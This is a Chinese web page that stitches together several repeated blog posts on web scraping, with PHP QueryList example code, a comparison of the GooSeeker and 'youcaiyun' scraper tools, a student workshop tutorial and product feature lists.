$ql = QueryList::getInstance();<br style="outline: 0px;" /><br style="outline: 0px;" />//绑定一个myHttp方法到QueryList对象<br style="outline: 0px;" />$ql->bind('myHttp',function ($url){<br style="outline: 0px;" /> $html = file_get_contents($url);<br style="outline: 0px;" /> $this->setHtml($html);<br style="outline: 0px;" /> return $this;<br style="outline: 0px;" />});<br style="outline: 0px;" /><br style="outline: 0px;" />//然后就可以通过注册的名字来调用<br style="outline: 0px;" />$data = $ql->myHttp('https://toutiao.io')->find('h3 a')->texts();<br style="outline: 0px;" />print_r($data->all());<br style="outline: 0px;" />
或者把实现体封装到class,然后这样绑定:
$ql->bind('myHttp',function ($url){<br style="outline: 0px;" /> return new MyHttp($this,$url);<br style="outline: 0px;" />});<br style="outline: 0px;" />
插件使用
使用CURL多线程插件,多线程采集GitHub排行榜:
$ql = QueryList::use(CurlMulti::class);<br style="outline: 0px;" />$ql->curlMulti([<br style="outline: 0px;" /> 'https://github.com/trending/php',<br style="outline: 0px;" /> 'https://github.com/trending/go',<br style="outline: 0px;" /> //.....more urls<br style="outline: 0px;" />])<br style="outline: 0px;" /> // 每个任务成功完成调用此回调<br style="outline: 0px;" /> ->success(function (QueryList $ql,CurlMulti $curl,$r){<br style="outline: 0px;" /> echo "Current url:{$r['info']['url']} \r\n";<br style="outline: 0px;" /> $data = $ql->find('h3 a')->texts();<br style="outline: 0px;" /> print_r($data->all());<br style="outline: 0px;" />})<br style="outline: 0px;" /> // 每个任务失败回调<br style="outline: 0px;" />->error(function ($errorInfo,CurlMulti $curl){<br style="outline: 0px;" /> echo "Current url:{$errorInfo['info']['url']} \r\n";<br style="outline: 0px;" /> print_r($errorInfo['error']);<br style="outline: 0px;" />})<br style="outline: 0px;" />->start([<br style="outline: 0px;" /> // 最大并发数<br style="outline: 0px;" /> 'maxThread' => 10,<br style="outline: 0px;" /> // 错误重试次数<br style="outline: 0px;" /> 'maxTry' => 3,<br style="outline: 0px;" />]);<br style="outline: 0px;" />
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课时2【实战实录】PHP手册统计-项目分析09:45

课时3【实战实录】PHP手册统计用querylist采集08:56
课时4 PHP手册统计获取到了一个文件的所属上级04:22
课时5 PHP手册统计建立表对接15040个页面10:01
课时6 PHP手册统计完成15037个页面名称存入数据库05:58
课时7 完成了除包含php字符的对应目录的入库12:03
课时8 初步实现和了解了php手册各栏目的页面数量12:20
课时9 v1.0版上线源码可以通过github查看通过composer安装06:25
课时10 入门php的cli命令行模式 即使获得进度13:14
课时11 正式进入v2.0版本 cli模式作为主要运行对象09:30
课时12 实现了一级目录的数据量统计11:26
课时13 重写了一个激动人心的采集规则22:26
课时14 针对目录不一致问题 增加字段统计比对05:16

课时15 应用递归实现从文件获取其完整目录12:27
课时16 通过递归补齐没有path的文件17:01
课时17 用递归排查完成总数不一致问题08:10
课时18 用递归完成了基本tree树形分类14:49
课时19 完成前端tree树形分类用zTree实现08:10
课时20 完成前端11个栏目的树形分类11:41
课时21 第一版完可以预览子目录数量的目录完成07:16
课时22 第一版完可以预览子目录数量的目录完成07:16
课时23 完成第一套完整的统计带统计分析的php手册12:50
课时24 统计结果html上线gitee直接浏览07:26
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END
浅析通用爬虫软件—— 集搜客与优采云采集器
网站优化 • 优采云 发表了文章 • 0 个评论 • 116 次浏览 • 2022-06-26 05:19
大 数 据 人
报道DT时代应用资讯及动态,爆料剖析行业热点新闻
最近想用爬虫软件来采集网页上的一些数据,根据百度的推荐以及相关关键词查询,找到了两款软件:“集搜客”和“优采云”,两款软件都有可视化界面,对于编程思维比较薄弱的用户来说,这两款软件上手容易,操作简单易懂。今天就带大家来了解对比一下这两款通用的网络爬虫软件。
1.软件安装
优采云:优采云安装跟其他独立软件一样,从官网下载,直接点击setup.exe安装。
集搜客:集搜客网站上下载的软件也是一个自解压exe程序,双击启动安装,看到的是火狐浏览器安装过程,原来集搜客软件是作为火狐插件发布的。
2.软件界面布局
优采云:优采云的界面布局可以归为指引型界面,用户进入软件界面可以看到软件使用提示信息,如图一所示,包括向导模式与高级模式,同时列出了学习资源,采集规则,数据下载等等。对于初次使用的用户来说,起到了很好的指引作用。
图一:优采云操作界面展示
集搜客:集搜客软件分成两个操作界面,MS谋数台(图2)和DS打数机(图3),谋数台负责制定规则(网页标注),打数机负责采集数据(网络爬虫),一个谋、一个打,听起来还是比较符合其特征。集搜客启动后的界面没有显示使用帮助资源,而是位于“帮助”菜单中。
图2:集搜客谋数台界面
图3:集搜客打数机界面
3.操作流程
优采云:优采云的操作流程主要分为4个步骤(如图4所示),分别为:
设置基本信息、设计工作流程、设置采集选项、完成。
图4:优采云操作流程
图5:优采云设计流程
集搜客:集搜客的操作没有流程的概念,似乎定义采集规则可以不遵守既定操作顺序,而是有一个要领“建立一个箱子,把你要的内容摘进去”。所以我们称之为4“块”操作(如图6所示):包括命名主题、创建整理箱、规划爬虫路线和定义连续动作。
图6:集搜客的4块功能
综上所述,优采云的工作流程特征十分明显,用户决定软件怎样动作,什么时候动作,动作施加给哪里,从哪里采集内容等。而集搜客想让用户专注于摘什么数据,如果用户在摘取以外还想扩展范围那就定义爬虫路线,如果还想做些动作那就定义连续动作,整个流程细节用户不用关心。
4.数据存储方式
优采云:优采云分成单机运行和云采集,数据导出支持EXCEL、SQL、TXT等常用格式。
集搜客:集搜客没有云采集,因为爬虫都在用户自己电脑上跑,用户想把爬虫放云上那是用户自己的事。跑下来的数据以XML格式存储,可见这是一种中间结果,集搜客官网提供了XML转EXCEL的工具,也在会员中心提供了基于云存储的数据导入和清洗功能,入库后可以导出成EXCEL格式。
5.收费模式
优采云:简单来说是一种软件销售模式(不排除免费版),除此之外用户下规则要积分,跑数据也要积分,而积分可以用钱购买或者参与社区活动换积分。
集搜客:集搜客简单来说是一种服务收费模式,软件功能全部免费,如果需要一些爬虫管理和数据管理的服务,则根据服务类型、数量和时间进行收费。同样,下载规则要积分,如果使用云存储,根据存储量和存储时间收费。积分同样也可以用钱购买,或者参与社区活动赚积分。 查看全部
浅析通用爬虫软件—— 集搜客与优采云采集器
大 数 据 人
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最近想用爬虫软件来采集网页上的一些数据,根据百度的推荐以及相关关键词查询,找到了两款软件:“集搜客”和“优采云”,两款软件都有可视化界面,对于编程思维比较薄弱的用户来说,这两款软件上手容易,操作简单易懂。今天就带大家来了解对比一下这两款通用的网络爬虫软件。
1.软件安装
优采云:优采云安装跟其他独立软件一样,从官网下载,直接点击setup.exe安装。
集搜客:集搜客网站上下载的软件也是一个自解压exe程序,双击启动安装,看到的是火狐浏览器安装过程,原来集搜客软件是作为火狐插件发布的。
2.软件界面布局
优采云:优采云的界面布局可以归为指引型界面,用户进入软件界面可以看到软件使用提示信息,如图一所示,包括向导模式与高级模式,同时列出了学习资源,采集规则,数据下载等等。对于初次使用的用户来说,起到了很好的指引作用。
图一:优采云操作界面展示
集搜客:集搜客软件分成两个操作界面,MS谋数台(图2)和DS打数机(图3),谋数台负责制定规则(网页标注),打数机负责采集数据(网络爬虫),一个谋、一个打,听起来还是比较符合其特征。集搜客启动后的界面没有显示使用帮助资源,而是位于“帮助”菜单中。
图2:集搜客谋数台界面

图3:集搜客打数机界面
3.操作流程
优采云:优采云的操作流程主要分为4个步骤(如图4所示),分别为:
设置基本信息、设计工作流程、设置采集选项、完成。
图4:优采云操作流程
图5:优采云设计流程
集搜客:集搜客的操作没有流程的概念,似乎定义采集规则可以不遵守既定操作顺序,而是有一个要领“建立一个箱子,把你要的内容摘进去”。所以我们称之为4“块”操作(如图6所示):包括命名主题、创建整理箱、规划爬虫路线和定义连续动作。
图6:集搜客的4块功能
综上所述,优采云的工作流程特征十分明显,用户决定软件怎样动作,什么时候动作,动作施加给哪里,从哪里采集内容等。而集搜客想让用户专注于摘什么数据,如果用户在摘取以外还想扩展范围那就定义爬虫路线,如果还想做些动作那就定义连续动作,整个流程细节用户不用关心。
4.数据存储方式
优采云:优采云分成单机运行和云采集,数据导出支持EXCEL、SQL、TXT等常用格式。
集搜客:集搜客没有云采集,因为爬虫都在用户自己电脑上跑,用户想把爬虫放云上那是用户自己的事。跑下来的数据以XML格式存储,可见这是一种中间结果,集搜客官网提供了XML转EXCEL的工具,也在会员中心提供了基于云存储的数据导入和清洗功能,入库后可以导出成EXCEL格式。
5.收费模式
优采云:简单来说是一种软件销售模式(不排除免费版),除此之外用户下规则要积分,跑数据也要积分,而积分可以用钱购买或者参与社区活动换积分。
集搜客:集搜客简单来说是一种服务收费模式,软件功能全部免费,如果需要一些爬虫管理和数据管理的服务,则根据服务类型、数量和时间进行收费。同样,下载规则要积分,如果使用云存储,根据存储量和存储时间收费。积分同样也可以用钱购买,或者参与社区活动赚积分。
瑞翼工坊——优采云采集器基础操作
网站优化 • 优采云 发表了文章 • 0 个评论 • 106 次浏览 • 2022-06-26 05:05
瑞翼工坊——优采云采集器基础操作
2018年11月21日晚19:00,曙光瑞翼大数据学院瑞翼工坊—专业学生“对话式”教学研讨第十三次活动,在广西师范学院五合校区理综楼815机房开展。本期主题为“优采云采集器基础操作”,由助教沈皓主讲,让我们学会了数据采集的基础。
优采云数据采集系统以完全自主研发的分布式云计算平台为核心,可以在很短的时间内,轻松从各种不同的网站或者网页获取大量的规范化数据,帮助任何需要从网页获取信息的客户实现数据自动化采集,编辑,规范化,摆脱对人工搜索及收集数据的依赖,从而降低获取信息的成本,提高效率。下面让我们一起来学习优采云采集器的五个基本操作吧!
第一个,单网页信息采集——提取新闻信息
该操作主要分为两个步骤。第一步,打开网页:大家可以先登陆优采云采集器,点击左上角+图标,选择自定义采集,然后输入网址(如:),点击保存,在网页打开后,我们可以对任务名进行修改,不修改则默认以网页标题命名。在运行采集前可随时修改任务名。第二步,提取数据:首先在网页中,直接选中需要提取的数据。如:提取新闻标题、时间、正文。然后点击保存并开始运行采集。
第二个,创建循环列表
该操作有两种方法。第一种方法,我们可以在输入网址打开网页以后,鼠标选中文章料表中第一个链接,右面的提示框中会提示发现同类的元素,可以一起选中所有同类的元素。第二种方法,打开网页以后,选中第一个以后不能按照提示选中全部,需要选中右下角的扩大选项标识,才能选中其他想要的元素。然后选项的元素就扩充到第一行所有元素,再选择提示框中“选中子元素”,系统就可以识别出其他相似元素。最后选择提示框中的“选中全部”就可以把表中的所有数据都选中了。
第三个,采集单网页列表详细信息
步骤一,打开网页,步骤二,循环点击元素。首先我们可以点击第一个电影标题“ 肖申克救赎”链接,再选择“选中全部”选项,最后选择“循环点击每个链接”选项。步骤三,提取数据。点击页面中要提取的电影 剧情 字段,选择“采集该元素的文本”。步骤四:修改字段名称。先点击“流程”,后修改字段名称,再点击“确定”保存。步骤五:采集并导出数据。依次点击“保存”,“开始采集”,启动“本地采集”,“导出数据”选择导出方式。
第四个,采集分页列表信息
首先打开网页,其次点击“下一页”,选择“循环点击下一页”选项,再次将列表展示的信息采集成二维表的形式,然后修改字段名称,最后采集并保存数据。
第五个,采集分页列表详细信息
首先,打开网页,其次制作循环翻页流程,再次对电影名称创建循环点击,另外,点击电影标题字段,选择“采集该元素的文本”,以同样方式点击选择其他字段。然后修改字段名称,最后采集并导出数据。
了解完优采云采集器的五个基本操作,下面就来观看一下我们的课堂吧。
这是我们本次课堂的主讲:沈皓学长
是不是很帅呢!讲课很仔细呢!
同学们认真的学习和实战操作
通过学习使用优采云采集器,我们可以轻松地从各种不同的网站或者网页获取大量的数据,大家对这一期瑞翼工坊的内容是否有兴趣呢?赶紧登陆优采云采集器亲手实践一下吧!下一期的瑞翼工坊,我们期待你的到来!
本期供稿:曾竞慧
本期美工:韦慧怡 查看全部
瑞翼工坊——优采云采集器基础操作
瑞翼工坊——优采云采集器基础操作
2018年11月21日晚19:00,曙光瑞翼大数据学院瑞翼工坊—专业学生“对话式”教学研讨第十三次活动,在广西师范学院五合校区理综楼815机房开展。本期主题为“优采云采集器基础操作”,由助教沈皓主讲,让我们学会了数据采集的基础。
优采云数据采集系统以完全自主研发的分布式云计算平台为核心,可以在很短的时间内,轻松从各种不同的网站或者网页获取大量的规范化数据,帮助任何需要从网页获取信息的客户实现数据自动化采集,编辑,规范化,摆脱对人工搜索及收集数据的依赖,从而降低获取信息的成本,提高效率。下面让我们一起来学习优采云采集器的五个基本操作吧!
第一个,单网页信息采集——提取新闻信息
该操作主要分为两个步骤。第一步,打开网页:大家可以先登陆优采云采集器,点击左上角+图标,选择自定义采集,然后输入网址(如:),点击保存,在网页打开后,我们可以对任务名进行修改,不修改则默认以网页标题命名。在运行采集前可随时修改任务名。第二步,提取数据:首先在网页中,直接选中需要提取的数据。如:提取新闻标题、时间、正文。然后点击保存并开始运行采集。
第二个,创建循环列表
该操作有两种方法。第一种方法,我们可以在输入网址打开网页以后,鼠标选中文章料表中第一个链接,右面的提示框中会提示发现同类的元素,可以一起选中所有同类的元素。第二种方法,打开网页以后,选中第一个以后不能按照提示选中全部,需要选中右下角的扩大选项标识,才能选中其他想要的元素。然后选项的元素就扩充到第一行所有元素,再选择提示框中“选中子元素”,系统就可以识别出其他相似元素。最后选择提示框中的“选中全部”就可以把表中的所有数据都选中了。
第三个,采集单网页列表详细信息
步骤一,打开网页,步骤二,循环点击元素。首先我们可以点击第一个电影标题“ 肖申克救赎”链接,再选择“选中全部”选项,最后选择“循环点击每个链接”选项。步骤三,提取数据。点击页面中要提取的电影 剧情 字段,选择“采集该元素的文本”。步骤四:修改字段名称。先点击“流程”,后修改字段名称,再点击“确定”保存。步骤五:采集并导出数据。依次点击“保存”,“开始采集”,启动“本地采集”,“导出数据”选择导出方式。
第四个,采集分页列表信息
首先打开网页,其次点击“下一页”,选择“循环点击下一页”选项,再次将列表展示的信息采集成二维表的形式,然后修改字段名称,最后采集并保存数据。
第五个,采集分页列表详细信息
首先,打开网页,其次制作循环翻页流程,再次对电影名称创建循环点击,另外,点击电影标题字段,选择“采集该元素的文本”,以同样方式点击选择其他字段。然后修改字段名称,最后采集并导出数据。

了解完优采云采集器的五个基本操作,下面就来观看一下我们的课堂吧。
这是我们本次课堂的主讲:沈皓学长
是不是很帅呢!讲课很仔细呢!
同学们认真的学习和实战操作
通过学习使用优采云采集器,我们可以轻松地从各种不同的网站或者网页获取大量的数据,大家对这一期瑞翼工坊的内容是否有兴趣呢?赶紧登陆优采云采集器亲手实践一下吧!下一期的瑞翼工坊,我们期待你的到来!
本期供稿:曾竞慧
本期美工:韦慧怡
网站内容采集器,手机网站后台采集不到的内容
网站优化 • 优采云 发表了文章 • 0 个评论 • 116 次浏览 • 2022-06-25 22:10
网站内容采集器,手机网站app采集工具,直接采集手机网站后台采集不到的内容,不存在病毒被封号的风险,网站打不开不要紧,但凡打开后台看到有无数条采集后复制不到的内容就直接给否了,
1.没有法律风险,你作为代理他们不在乎,而且一般是百度引流的,当然成本较低,大不了从百度买。2.内容采集是一个违规的做法,在大部分人平时浏览网站的时候,一般不会看到这些内容,但百度通过爬虫抓取网页内容后,当你网站百度一次进不去只要有一条还有可能被进入,那么百度网页内容采集是不合法的。3.这个方法你只能获取你网站提供服务商的服务,网站提供方不管你用什么采集方法,那么你获取到的就是转换成百度搜索分享的链接。
首先内容采集的工具并不一定是你所定义的那种模式;大部分的网站内容采集工具应该是百度开发的抓取器。在操作采集器是一定是采用站内网页地址结构的,如果你做过站内页自建就知道他们抓取的地址,也有可能是html代码采集工具,那么抓取到html代码后他们会用f12看到链接可用,在下下标注工具。我在写站内采集器中有提到说过数据采集的问题,其实现如今很多大型网站已经实现基于服务器端采集,基于http协议的内容采集,所以他们是可以实现数据监控的,其实内容采集工具只要下面这个基本就行了;通过,上面关键词可以采集到我所要的目标内容,我提供的内容采集工具都是经过我很多遍的测试最终选择的这个;像你自己做站他们是不会允许你这样操作的;所以他们宁愿要干净的链接或者平台链接来源。 查看全部
网站内容采集器,手机网站后台采集不到的内容
网站内容采集器,手机网站app采集工具,直接采集手机网站后台采集不到的内容,不存在病毒被封号的风险,网站打不开不要紧,但凡打开后台看到有无数条采集后复制不到的内容就直接给否了,

1.没有法律风险,你作为代理他们不在乎,而且一般是百度引流的,当然成本较低,大不了从百度买。2.内容采集是一个违规的做法,在大部分人平时浏览网站的时候,一般不会看到这些内容,但百度通过爬虫抓取网页内容后,当你网站百度一次进不去只要有一条还有可能被进入,那么百度网页内容采集是不合法的。3.这个方法你只能获取你网站提供服务商的服务,网站提供方不管你用什么采集方法,那么你获取到的就是转换成百度搜索分享的链接。
首先内容采集的工具并不一定是你所定义的那种模式;大部分的网站内容采集工具应该是百度开发的抓取器。在操作采集器是一定是采用站内网页地址结构的,如果你做过站内页自建就知道他们抓取的地址,也有可能是html代码采集工具,那么抓取到html代码后他们会用f12看到链接可用,在下下标注工具。我在写站内采集器中有提到说过数据采集的问题,其实现如今很多大型网站已经实现基于服务器端采集,基于http协议的内容采集,所以他们是可以实现数据监控的,其实内容采集工具只要下面这个基本就行了;通过,上面关键词可以采集到我所要的目标内容,我提供的内容采集工具都是经过我很多遍的测试最终选择的这个;像你自己做站他们是不会允许你这样操作的;所以他们宁愿要干净的链接或者平台链接来源。
优采云采集器-房价数据实战
网站优化 • 优采云 发表了文章 • 0 个评论 • 117 次浏览 • 2022-06-25 17:02
10309元/m
我保留黑色的部分,作为一个字符串截取规则,有多个数据一定要点击循环匹配。
随便测试一条效果,只测试某一页的价格。
同样的道理,我们来测试其他的标签。之后的内容发布和其他设置我们不需要管,保存并退出即可。之后点击开始,项目就开始了。当前阶段,数据导出是一个会员项目,免费的只能导出txt,很不好用。至于数据如何免费导出成csv,我将在之后的文章中告诉大家。 查看全部
优采云采集器-房价数据实战
10309元/m
我保留黑色的部分,作为一个字符串截取规则,有多个数据一定要点击循环匹配。

随便测试一条效果,只测试某一页的价格。
同样的道理,我们来测试其他的标签。之后的内容发布和其他设置我们不需要管,保存并退出即可。之后点击开始,项目就开始了。当前阶段,数据导出是一个会员项目,免费的只能导出txt,很不好用。至于数据如何免费导出成csv,我将在之后的文章中告诉大家。
如何使用优采云采集器
网站优化 • 优采云 发表了文章 • 0 个评论 • 93 次浏览 • 2022-06-25 16:58
优采云数据采集系统以完全自主研发的分布式云计算平台为核心,可以在很短的时间内,轻松从各种不同的网站或者网页获取大量的规范化数据,帮助任何需要从网页获取信息的客户实现数据自动化采集,编辑,规范化,摆脱对人工搜索及收集数据的依赖,从而降低获取信息的成本,提高效率。
主要功能
简单来讲,使用优采云可以非常容易的从任何网页精确采集你需要的数据,生成自定义的、规整的数据格式。优采云数据采集系统能做的包括但并不局限于以下内容:
1. 金融数据,如季报,年报,财务报告, 包括每日最新净值自动采集;
2. 各大新闻门户网站实时监控,自动更新及上传最新发布的新闻;
3. 监控竞争对手最新信息,包括商品价格及库存;
4. 监控各大社交网站,博客,自动抓取企业产品的相关评论;
5. 收集最新最全的职场招聘信息;
6. 监控各大地产相关网站,采集新房二手房最新行情;
7. 采集各大汽车网站具体的新车二手车信息;
8. 发现和收集潜在客户信息;
9. 采集行业网站的产品目录及产品信息;
10. 在各大电商平台之间同步商品信息,做到在一个平台发布,其他平台自动更新。
产品优势
操作简单
操作简单,完全可视化图形操作,无需专业IT人员,任何会使用电脑上网的人都可以轻松掌握。
云采集
采集任务自动分配到云端多台服务器同时执行,提高采集效率,可以很短的时间内 获取成千上万条信息。
拖拽式采集流程
模拟人的操作思维模式,可以登陆,输入数据,点击链接,按钮等,还能对不同情况采取不同的采集流程。
图文识别
内置可扩展的OCR接口,支持解析图片中的文字,可将图片上的文字提取出来。
定时自动采集
采集任务自动运行,可以按照指定的周期自动采集,并且还支持最快一分钟一次的实时采集。
2分钟快速入门
内置从入门到精通所需要的视频教程,2分钟就能上手使用,另外还有文档,论坛,qq群等。
免费使用
它是免费的,并且免费版本没有任何功能限制,你现在就可以试一试,立即下载安装。 查看全部
如何使用优采云采集器
优采云数据采集系统以完全自主研发的分布式云计算平台为核心,可以在很短的时间内,轻松从各种不同的网站或者网页获取大量的规范化数据,帮助任何需要从网页获取信息的客户实现数据自动化采集,编辑,规范化,摆脱对人工搜索及收集数据的依赖,从而降低获取信息的成本,提高效率。
主要功能
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5. 收集最新最全的职场招聘信息;
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产品优势
操作简单
操作简单,完全可视化图形操作,无需专业IT人员,任何会使用电脑上网的人都可以轻松掌握。
云采集
采集任务自动分配到云端多台服务器同时执行,提高采集效率,可以很短的时间内 获取成千上万条信息。
拖拽式采集流程
模拟人的操作思维模式,可以登陆,输入数据,点击链接,按钮等,还能对不同情况采取不同的采集流程。
图文识别
内置可扩展的OCR接口,支持解析图片中的文字,可将图片上的文字提取出来。
定时自动采集
采集任务自动运行,可以按照指定的周期自动采集,并且还支持最快一分钟一次的实时采集。
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优采云采集器-房价数据实战
网站优化 • 优采云 发表了文章 • 0 个评论 • 130 次浏览 • 2022-06-25 10:38
10309元/m
我保留黑色的部分,作为一个字符串截取规则,有多个数据一定要点击循环匹配。
随便测试一条效果,只测试某一页的价格。
同样的道理,我们来测试其他的标签。之后的内容发布和其他设置我们不需要管,保存并退出即可。之后点击开始,项目就开始了。当前阶段,数据导出是一个会员项目,免费的只能导出txt,很不好用。至于数据如何免费导出成csv,我将在之后的文章中告诉大家。
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优采云采集器-房价数据实战
10309元/m
我保留黑色的部分,作为一个字符串截取规则,有多个数据一定要点击循环匹配。
随便测试一条效果,只测试某一页的价格。
同样的道理,我们来测试其他的标签。之后的内容发布和其他设置我们不需要管,保存并退出即可。之后点击开始,项目就开始了。当前阶段,数据导出是一个会员项目,免费的只能导出txt,很不好用。至于数据如何免费导出成csv,我将在之后的文章中告诉大家。
浅析通用爬虫软件—— 集搜客与优采云采集器
网站优化 • 优采云 发表了文章 • 0 个评论 • 99 次浏览 • 2022-06-25 00:59
大 数 据 人
报道DT时代应用资讯及动态,爆料剖析行业热点新闻
最近想用爬虫软件来采集网页上的一些数据,根据百度的推荐以及相关关键词查询,找到了两款软件:“集搜客”和“优采云”,两款软件都有可视化界面,对于编程思维比较薄弱的用户来说,这两款软件上手容易,操作简单易懂。今天就带大家来了解对比一下这两款通用的网络爬虫软件。
1.软件安装
优采云:优采云安装跟其他独立软件一样,从官网下载,直接点击setup.exe安装。
集搜客:集搜客网站上下载的软件也是一个自解压exe程序,双击启动安装,看到的是火狐浏览器安装过程,原来集搜客软件是作为火狐插件发布的。
2.软件界面布局
优采云:优采云的界面布局可以归为指引型界面,用户进入软件界面可以看到软件使用提示信息,如图一所示,包括向导模式与高级模式,同时列出了学习资源,采集规则,数据下载等等。对于初次使用的用户来说,起到了很好的指引作用。
图一:优采云操作界面展示
集搜客:集搜客软件分成两个操作界面,MS谋数台(图2)和DS打数机(图3),谋数台负责制定规则(网页标注),打数机负责采集数据(网络爬虫),一个谋、一个打,听起来还是比较符合其特征。集搜客启动后的界面没有显示使用帮助资源,而是位于“帮助”菜单中。
图2:集搜客谋数台界面
图3:集搜客打数机界面
3.操作流程
优采云:优采云的操作流程主要分为4个步骤(如图4所示),分别为:
设置基本信息、设计工作流程、设置采集选项、完成。
图4:优采云操作流程
图5:优采云设计流程
集搜客:集搜客的操作没有流程的概念,似乎定义采集规则可以不遵守既定操作顺序,而是有一个要领“建立一个箱子,把你要的内容摘进去”。所以我们称之为4“块”操作(如图6所示):包括命名主题、创建整理箱、规划爬虫路线和定义连续动作。
图6:集搜客的4块功能
综上所述,优采云的工作流程特征十分明显,用户决定软件怎样动作,什么时候动作,动作施加给哪里,从哪里采集内容等。而集搜客想让用户专注于摘什么数据,如果用户在摘取以外还想扩展范围那就定义爬虫路线,如果还想做些动作那就定义连续动作,整个流程细节用户不用关心。
4.数据存储方式
优采云:优采云分成单机运行和云采集,数据导出支持EXCEL、SQL、TXT等常用格式。
集搜客:集搜客没有云采集,因为爬虫都在用户自己电脑上跑,用户想把爬虫放云上那是用户自己的事。跑下来的数据以XML格式存储,可见这是一种中间结果,集搜客官网提供了XML转EXCEL的工具,也在会员中心提供了基于云存储的数据导入和清洗功能,入库后可以导出成EXCEL格式。
5.收费模式
优采云:简单来说是一种软件销售模式(不排除免费版),除此之外用户下规则要积分,跑数据也要积分,而积分可以用钱购买或者参与社区活动换积分。
集搜客:集搜客简单来说是一种服务收费模式,软件功能全部免费,如果需要一些爬虫管理和数据管理的服务,则根据服务类型、数量和时间进行收费。同样,下载规则要积分,如果使用云存储,根据存储量和存储时间收费。积分同样也可以用钱购买,或者参与社区活动赚积分。 查看全部
浅析通用爬虫软件—— 集搜客与优采云采集器
大 数 据 人
报道DT时代应用资讯及动态,爆料剖析行业热点新闻
最近想用爬虫软件来采集网页上的一些数据,根据百度的推荐以及相关关键词查询,找到了两款软件:“集搜客”和“优采云”,两款软件都有可视化界面,对于编程思维比较薄弱的用户来说,这两款软件上手容易,操作简单易懂。今天就带大家来了解对比一下这两款通用的网络爬虫软件。
1.软件安装
优采云:优采云安装跟其他独立软件一样,从官网下载,直接点击setup.exe安装。
集搜客:集搜客网站上下载的软件也是一个自解压exe程序,双击启动安装,看到的是火狐浏览器安装过程,原来集搜客软件是作为火狐插件发布的。
2.软件界面布局
优采云:优采云的界面布局可以归为指引型界面,用户进入软件界面可以看到软件使用提示信息,如图一所示,包括向导模式与高级模式,同时列出了学习资源,采集规则,数据下载等等。对于初次使用的用户来说,起到了很好的指引作用。
图一:优采云操作界面展示
集搜客:集搜客软件分成两个操作界面,MS谋数台(图2)和DS打数机(图3),谋数台负责制定规则(网页标注),打数机负责采集数据(网络爬虫),一个谋、一个打,听起来还是比较符合其特征。集搜客启动后的界面没有显示使用帮助资源,而是位于“帮助”菜单中。
图2:集搜客谋数台界面
图3:集搜客打数机界面
3.操作流程
优采云:优采云的操作流程主要分为4个步骤(如图4所示),分别为:
设置基本信息、设计工作流程、设置采集选项、完成。
图4:优采云操作流程
图5:优采云设计流程
集搜客:集搜客的操作没有流程的概念,似乎定义采集规则可以不遵守既定操作顺序,而是有一个要领“建立一个箱子,把你要的内容摘进去”。所以我们称之为4“块”操作(如图6所示):包括命名主题、创建整理箱、规划爬虫路线和定义连续动作。
图6:集搜客的4块功能
综上所述,优采云的工作流程特征十分明显,用户决定软件怎样动作,什么时候动作,动作施加给哪里,从哪里采集内容等。而集搜客想让用户专注于摘什么数据,如果用户在摘取以外还想扩展范围那就定义爬虫路线,如果还想做些动作那就定义连续动作,整个流程细节用户不用关心。
4.数据存储方式
优采云:优采云分成单机运行和云采集,数据导出支持EXCEL、SQL、TXT等常用格式。
集搜客:集搜客没有云采集,因为爬虫都在用户自己电脑上跑,用户想把爬虫放云上那是用户自己的事。跑下来的数据以XML格式存储,可见这是一种中间结果,集搜客官网提供了XML转EXCEL的工具,也在会员中心提供了基于云存储的数据导入和清洗功能,入库后可以导出成EXCEL格式。
5.收费模式
优采云:简单来说是一种软件销售模式(不排除免费版),除此之外用户下规则要积分,跑数据也要积分,而积分可以用钱购买或者参与社区活动换积分。
集搜客:集搜客简单来说是一种服务收费模式,软件功能全部免费,如果需要一些爬虫管理和数据管理的服务,则根据服务类型、数量和时间进行收费。同样,下载规则要积分,如果使用云存储,根据存储量和存储时间收费。积分同样也可以用钱购买,或者参与社区活动赚积分。
白杨数说 | 优采云采集器,零代码实现爬虫
网站优化 • 优采云 发表了文章 • 0 个评论 • 150 次浏览 • 2022-06-23 09:50
优采云采集器是由前谷歌搜索技术团队基于人工智能技术研发的新一代网页采集软件。该软件功能强大,操作简单,不仅能够进行数据的自动化采集,而且在采集过程中还可以对数据进行清洗。在数据源头即可实现多种内容的过滤。
通过使用优采云采集器,用户能够快速、准确地获取海量网页数据,从而彻底解决了人工收集数据所面临的各种难题,降低了获取信息的成本,提高了工作效率。
接下来我们来一起看看这款软件的优秀之处。
一
功能介绍
优采云采集器是一款免费的采集软件,其采集工作分为两种类型:流程图模式与智能模式。
流程图模式的本质是图形化编程。该模式不仅可以支持可视化的网页点选操作,完全符合人工浏览网页的思维方式,用户只需要打开被采集的网站,用鼠标点击几下就能自动生成复杂的数据采集规则;同时支持积木式采集组件拼接操作,通过将复杂的采集编码流程进行可视化封装,让开发采集规则就像搭积木一样简单,零基础也能很快上手。
智能模式是加载网页后,软件自动分析网页结构,智能识别网页内容,简化操作流程。这种模式比较适合简单的网页爬取。
除以上两种采集工作,优采云采集器还支持以下功能:
※采集任务:100个任务,支持多任务同时运行,无数量限制
※ 采集网址:无数量限制,支持手动输入,从文件导入,批量生成
※ 采集内容:无数量限制
※ 下载图片:无数量限制
※ 导出数据:导出数据到本地(无数量限制),导出格式:Excel、Txt、Csv、Html
※ 发布到数据库:无数量限制,支持发布到本地和云端服务器,支持类型:MySQL、PgSQL、SqlServer、MongoDB
※ 数据处理:字段合并,文本替换,提取数字、提取邮箱,去除字符、正则替换等
※筛选功能:根据条件组合对采集字段进行筛选
※预登录采集:采集需要登录才能查看内容的网址
二
智能模式爬取网页
智能模式下的网页爬取只需要输入被采集的网址就能智能识别出网页中的内容和分页按钮,无需配置采集规则就能够完成数据的采集。接下来我们详细介绍一下智能模式的基本操作。
(1)输入正确的网址
输入了正确的网址,这个采集任务就成功了一半。
优采云采集器支持单网址和多网址采集,支持从本地TXT文件中导入网址,也支持参数网址批量生成。
(2)选择页面类型及设置分页
在智能模式下,优采云采集器会自动识别网页,如果出现识别不准确的情况,此时您可以先手动自动识别一下,如果手动自动识别还不起效果,您可以手动点选列表,从而辅助软件识别出正确的结果。
(3)预登录
在编辑任务过程中,我们有时候会遇到需要登录才能查看内容的网页,这时我们需要用到预登录功能,登录成功之后就能进行正常的数据采集。
(4)预执行操作
在编辑任务过程中,如果用户需要进行点击操作,可以使用预执行操作来满足用户需求。
(5)网络安全设置
在编辑任务过程中,用户如果遇到网页异常的时候可以试着使用此功能,但是要注意打开此选项可能导致页面上的某些内容无法采集(如iframe中的内容)。
(6)设置提取字段
智能模式下,软件会自动识别网页中的数据并展示到采集结果预览窗口,用户可以根据自己的需求对字段进行设置。
